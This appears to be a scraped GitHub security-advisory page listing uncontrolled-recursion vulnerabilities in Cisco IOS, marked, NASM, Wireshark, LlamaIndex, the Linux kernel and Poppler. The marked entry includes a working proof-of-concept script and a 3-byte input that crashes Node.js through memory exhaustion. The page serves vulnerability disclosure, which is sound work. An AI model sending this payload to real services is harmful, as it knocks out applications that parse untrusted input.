    "nvd_published_at": "2024-03-27T17:15:52Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Locator ID Separation Protocol (LISP) feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload.\n\n This vulnerability is due to the incorrect handling of LISP packets. An attacker could exploit this vulnerability by sending a crafted LISP packet to an affected device. A successful exploit could allow the attacker to cause the device to reload, resulting in a denial of service (DoS) condition.\n\n Note: This vulnerability could be exploited over either IPv4 or IPv6 transport.",
  "id": "GHSA-6r9p-4766-xgg4",
  "modified": "2024-03-27T18:32:38Z",
  "published": "2024-03-27T18:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20311"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-lisp-3gYXs3qP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6V9C-7CG6-27Q7

Vulnerability from github – Published: 2026-04-29 22:12 – Updated: 2026-04-29 22:12

Summary

Marked Vulnerable to OOM Denial of Service via Infinite Recursion in marked Tokenizer

Details

Summary

A critical Denial of Service (DoS) vulnerability exists in marked@18.0.0. By providing a specific 3-byte input sequence a tab, a vertical tab, and a newline (\x09\x0b\n)—an unauthenticated attacker can trigger an infinite recursion loop during parsing. This leads to unbounded memory allocation, causing the host Node.js application to crash via Memory Exhaustion (OOM).

Details

The vulnerability originates in how marked's block tokenizer handles unexpected whitespace characters.

Tab Character (\x09) Consumption: The space() tokenizer matches standard whitespace using the regex /^(?:[ \t]*(?:\n|$))+/. When parsing the malicious payload (\x09\x0b\n), this rule successfully consumes the initial tab character (\x09).
Vertical Tab (\x0b) Bypass: The remaining input is now \x0b\n. The newline block rule explicitly looks for spaces or standard tabs ([ \t]) followed by a newline. Because the vertical tab is a legacy ASCII character not accounted for in this rule, it fails to match.
Fallback to Text Tokenizer: None of the standard block tokenizers (blockquote, code, heading, etc.) match \x0b\n. As a result, the parser falls through to the text tokenizer (/^[^\n]+/), which matches any character except a newline.
Infinite Recursion: Inside blockTokens(), the text tokenizer creates a text token and subsequently calls inlineTokens() on the exact same content. Inside inlineTokens(), the text rule again matches \x0b\n and recursively calls inlineTokens(). This creates an inescapable cycle: blockTokens() → text token → inlineTokens() → text rule matches → inlineTokens() → ...

With each recursive call allocating new token objects and concatenating strings, memory grows indefinitely until the Node.js heap limit is reached.

Vulnerable Code in lib/marked.esm.js (Lexer class, blockTokens()):

// The text tokenizer triggers infinite recursion
if(r=this.tokenizer.text(e)) {
    e=e.substring(r.raw.length);
    let s=t.at(-1);
    s?.type==="text"?(s.raw+=(s.raw.endsWith("\n")?"":"\n")+r.raw, s.text+="\n"+r.text, this.inlineQueue.pop(), this.inlineQueue.at(-1).src=s.text):t.push(r);
    // ↑ This calls inlineTokens() internally via the text tokenizer, causing the OOM loop
    continue;
}

PoC

This vulnerability can be reproduced using any standard Node.js environment with marked@18.0.0 installed.

Create a file named poc.js with the following content:

const marked = require('marked');

// The vulnerable 3-byte pattern: tab + vertical tab + newline
const vulnerableInput = '\x09\x0b\n';

console.log('Attempting to parse malicious payload...');
try {
    marked.parse(vulnerableInput);
} catch(e) {
    console.log('Error:', e.message);
}

Run the script: node poc.js
Result: The process will hang briefly as memory spikes, ultimately crashing with: FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory.

Impact

This is a High-Severity Denial of Service (DoS) vulnerability via Memory Exhaustion.

Impacted Parties: Any application, API, chatbot, or documentation system using marked@18.0.0 (and potentially earlier versions) to parse untrusted user input is vulnerable.

Because the payload requires zero authentication and only 3 bytes of data, it requires virtually no resources from the attacker to remotely crash the service and achieve a total loss of availability for the targeted application.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 18.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "marked"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "18.0.0"
            },
            {
              "fixed": "18.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T22:12:20Z",
    "nvd_published_at": "2026-04-24T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA critical Denial of Service (DoS) vulnerability exists in `marked@18.0.0`. By providing a specific 3-byte input sequence a tab, a vertical tab, and a newline (`\\x09\\x0b\\n`)\u2014an unauthenticated attacker can trigger an infinite recursion loop during parsing. This leads to unbounded memory allocation, causing the host Node.js application to crash via Memory Exhaustion (OOM). \n\n### Details\nThe vulnerability originates in how `marked`\u0027s block tokenizer handles unexpected whitespace characters. \n\n1. **Tab Character (`\\x09`) Consumption**: The `space()` tokenizer matches standard whitespace using the regex `/^(?:[ \\t]*(?:\\n|$))+/`. When parsing the malicious payload (`\\x09\\x0b\\n`), this rule successfully consumes the initial tab character (`\\x09`).\n2. **Vertical Tab (`\\x0b`) Bypass**: The remaining input is now `\\x0b\\n`. The newline block rule explicitly looks for spaces or standard tabs (`[ \\t]`) followed by a newline. Because the vertical tab is a legacy ASCII character not accounted for in this rule, it fails to match.\n3. **Fallback to Text Tokenizer**: None of the standard block tokenizers (blockquote, code, heading, etc.) match `\\x0b\\n`. As a result, the parser falls through to the `text` tokenizer (`/^[^\\n]+/`), which matches any character except a newline.\n4. **Infinite Recursion**: Inside `blockTokens()`, the `text` tokenizer creates a text token and subsequently calls `inlineTokens()` on the exact same content. Inside `inlineTokens()`, the text rule again matches `\\x0b\\n` and recursively calls `inlineTokens()`. This creates an inescapable cycle: `blockTokens() \u2192 text token \u2192 inlineTokens() \u2192 text rule matches \u2192 inlineTokens() \u2192 ...`\n\nWith each recursive call allocating new token objects and concatenating strings, memory grows indefinitely until the Node.js heap limit is reached.\n\n**Vulnerable Code in `lib/marked.esm.js` (Lexer class, `blockTokens()`):**\n```javascript\n// The text tokenizer triggers infinite recursion\nif(r=this.tokenizer.text(e)) {\n    e=e.substring(r.raw.length);\n    let s=t.at(-1);\n    s?.type===\"text\"?(s.raw+=(s.raw.endsWith(\"\\n\")?\"\":\"\\n\")+r.raw, s.text+=\"\\n\"+r.text, this.inlineQueue.pop(), this.inlineQueue.at(-1).src=s.text):t.push(r);\n    // \u2191 This calls inlineTokens() internally via the text tokenizer, causing the OOM loop\n    continue;\n}\n```\n\n### PoC\nThis vulnerability can be reproduced using any standard Node.js environment with `marked@18.0.0` installed.\n\n1. Create a file named `poc.js` with the following content:\n```javascript\nconst marked = require(\u0027marked\u0027);\n\n// The vulnerable 3-byte pattern: tab + vertical tab + newline\nconst vulnerableInput = \u0027\\x09\\x0b\\n\u0027;\n\nconsole.log(\u0027Attempting to parse malicious payload...\u0027);\ntry {\n    marked.parse(vulnerableInput);\n} catch(e) {\n    console.log(\u0027Error:\u0027, e.message);\n}\n```\n2. Run the script: `node poc.js`\n3. **Result:** The process will hang briefly as memory spikes, ultimately crashing with: `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`.\n\n### Impact\nThis is a High-Severity Denial of Service (DoS) vulnerability via Memory Exhaustion. \n\n**Impacted Parties:** Any application, API, chatbot, or documentation system using `marked@18.0.0` (and potentially earlier versions) to parse untrusted user input is vulnerable. \n\nBecause the payload requires zero authentication and only 3 bytes of data, it requires virtually no resources from the attacker to remotely crash the service and achieve a total loss of availability for the targeted application.",
  "id": "GHSA-6v9c-7cg6-27q7",
  "modified": "2026-04-29T22:12:20Z",
  "published": "2026-04-29T22:12:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markedjs/marked/security/advisories/GHSA-6v9c-7cg6-27q7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41680"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markedjs/marked"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Marked Vulnerable to OOM Denial of Service via Infinite Recursion in marked Tokenizer"
}

GHSA-7498-2XJF-M6P5

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22

Details

An infinite recursion issue was discovered in eval.c in Netwide Assembler (NASM) through 2.14.02. There is a stack exhaustion problem resulting from infinite recursion in the functions expr, rexp, bexpr and cexpr in certain scenarios involving lots of '{' characters. Remote attackers could leverage this vulnerability to cause a denial-of-service via a crafted asm file.

Severity

5.5 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-6290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-15T00:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An infinite recursion issue was discovered in eval.c in Netwide Assembler (NASM) through 2.14.02. There is a stack exhaustion problem resulting from infinite recursion in the functions expr, rexp, bexpr and cexpr in certain scenarios involving lots of \u0027{\u0027 characters. Remote attackers could leverage this vulnerability to cause a denial-of-service via a crafted asm file.",
  "id": "GHSA-7498-2xjf-m6p5",
  "modified": "2022-05-13T01:22:40Z",
  "published": "2022-05-13T01:22:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6290"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.nasm.us/show_bug.cgi?id=3392548"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-772W-JXJV-XC3F

Vulnerability from github – Published: 2026-04-30 09:30 – Updated: 2026-04-30 09:30

Details

AFP Spotlight protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-5401"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-30T07:16:37Z",
    "severity": "MODERATE"
  },
  "details": "AFP Spotlight protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service",
  "id": "GHSA-772w-jxjv-xc3f",
  "modified": "2026-04-30T09:30:24Z",
  "published": "2026-04-30T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5401"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/wireshark/wireshark/-/issues/21088"
    },
    {
      "type": "WEB",
      "url": "https://www.wireshark.org/security/wnpa-sec-2026-13.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7753-XRFW-CH36

Vulnerability from github – Published: 2025-08-26 00:31 – Updated: 2025-08-26 17:43

Summary

LlamaIndex affected by a Denial of Service (DOS) in JSONReader

Details

A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.

Severity

8.6 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "llama-index-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.12.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-5302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T17:43:43Z",
    "nvd_published_at": "2025-08-25T15:15:42Z",
    "severity": "HIGH"
  },
  "details": "A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.",
  "id": "GHSA-7753-xrfw-ch36",
  "modified": "2025-08-26T17:43:43Z",
  "published": "2025-08-26T00:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/run-llama/llama_index/commit/c032843a02ce38fd8f284b2aa5a37fd1c17ae635"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/run-llama/llama_index"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/70041b81-de9e-4046-8c0e-6ccd557048a6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LlamaIndex affected by a Denial of Service (DOS) in JSONReader"
}

GHSA-775J-MPHJ-44X5

Vulnerability from github – Published: 2025-05-09 09:33 – Updated: 2025-11-17 15:30

Details

In the Linux kernel, the following vulnerability has been resolved:

fbdev: omapfb: Add 'plane' value check

Function dispc_ovl_setup is not intended to work with the value OMAP_DSS_WB of the enum parameter plane.

The value of this parameter is initialized in dss_init_overlays and in the current state of the code it cannot take this value so it's not a real problem.

For the purposes of defensive coding it wouldn't be superfluous to check the parameter value, because some functions down the call stack process this value correctly and some not.

For example, in dispc_ovl_setup_global_alpha it may lead to buffer overflow.

Add check for this value.

Found by Linux Verification Center (linuxtesting.org) with SVACE static analysis tool.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-37851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-09T07:16:06Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbdev: omapfb: Add \u0027plane\u0027 value check\n\nFunction dispc_ovl_setup is not intended to work with the value OMAP_DSS_WB\nof the enum parameter plane.\n\nThe value of this parameter is initialized in dss_init_overlays and in the\ncurrent state of the code it cannot take this value so it\u0027s not a real\nproblem.\n\nFor the purposes of defensive coding it wouldn\u0027t be superfluous to check\nthe parameter value, because some functions down the call stack process\nthis value correctly and some not.\n\nFor example, in dispc_ovl_setup_global_alpha it may lead to buffer\noverflow.\n\nAdd check for this value.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE static\nanalysis tool.",
  "id": "GHSA-775j-mphj-44x5",
  "modified": "2025-11-17T15:30:31Z",
  "published": "2025-05-09T09:33:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37851"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/09dbf22fd68c2f1a81ab89670ffa1ec3033436c4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3e411827f31db7f938a30a3c7a7599839401ec30"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4efd8ef5e40f2c7a4a91a5a9f03140bfa827da89"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/52eafaa56f8f6d6a0cdff9282b25b4acbde34edc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/660a53a0694d1f3789802509fe729dd4656fc5e0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9b0a41589ee70529b20e1e0108d03f10c649bdc4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a570efb4d877adbf3db2dc95487f2ba6bfdd148a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cdf41d72e8b015d9ea68f5a1c0a79624e7c312aa"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fda15c5b96b883d62fb2d84a3a1422aa87717897"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77H4-R63X-87F8

Vulnerability from github – Published: 2025-10-01 21:31 – Updated: 2025-10-01 21:31

Details

Poppler 24.06.1 through 25.x before 25.04.0 allows stack consumption and a SIGSEGV via deeply nested structures within the metadata (such as GTS_PDFEVersion) of a PDF document, e.g., a regular expression for a long pdfsubver string. This occurs in Dict::lookup, Catalog::getMetadata, and associated functions in PDFDoc, with deep recursion in the regex executor (std::__detail::_Executor).

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-43718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-01T19:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Poppler 24.06.1 through 25.x before 25.04.0 allows stack consumption and a SIGSEGV via deeply nested structures within the metadata (such as GTS_PDFEVersion) of a PDF document, e.g., a regular expression for a long pdfsubver string. This occurs in Dict::lookup, Catalog::getMetadata, and associated functions in PDFDoc, with deep recursion in the regex executor (std::__detail::_Executor).",
  "id": "GHSA-77h4-r63x-87f8",
  "modified": "2025-10-01T21:31:21Z",
  "published": "2025-10-01T21:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShadowByte1/CVE-Reports/blob/main/CVE-2025-43718.md"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.freedesktop.org/poppler/poppler/-/commit/f54b815672117c250420787c8c006de98e8c7408"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-674

Uncontrolled Recursion

GHSA-6Q7J-XR26-3H2C

Summary

Details

PoC

Impact

GHSA-6QH5-M6G3-XHQ6

Impact

Patches

Workarounds

GHSA-6R8P-HPG7-825G

Impact

Patches

Workarounds

References

GHSA-6R9P-4766-XGG4

GHSA-6V9C-7CG6-27Q7

Summary

Details

PoC

Impact

GHSA-7498-2XJF-M6P5

GHSA-772W-JXJV-XC3F

GHSA-7753-XRFW-CH36

GHSA-775J-MPHJ-44X5

GHSA-77H4-R63X-87F8

Mitigation

Mitigation

CAPEC-230: Serialized Data with Nested Payloads

CAPEC-231: Oversized Serialized Data Payloads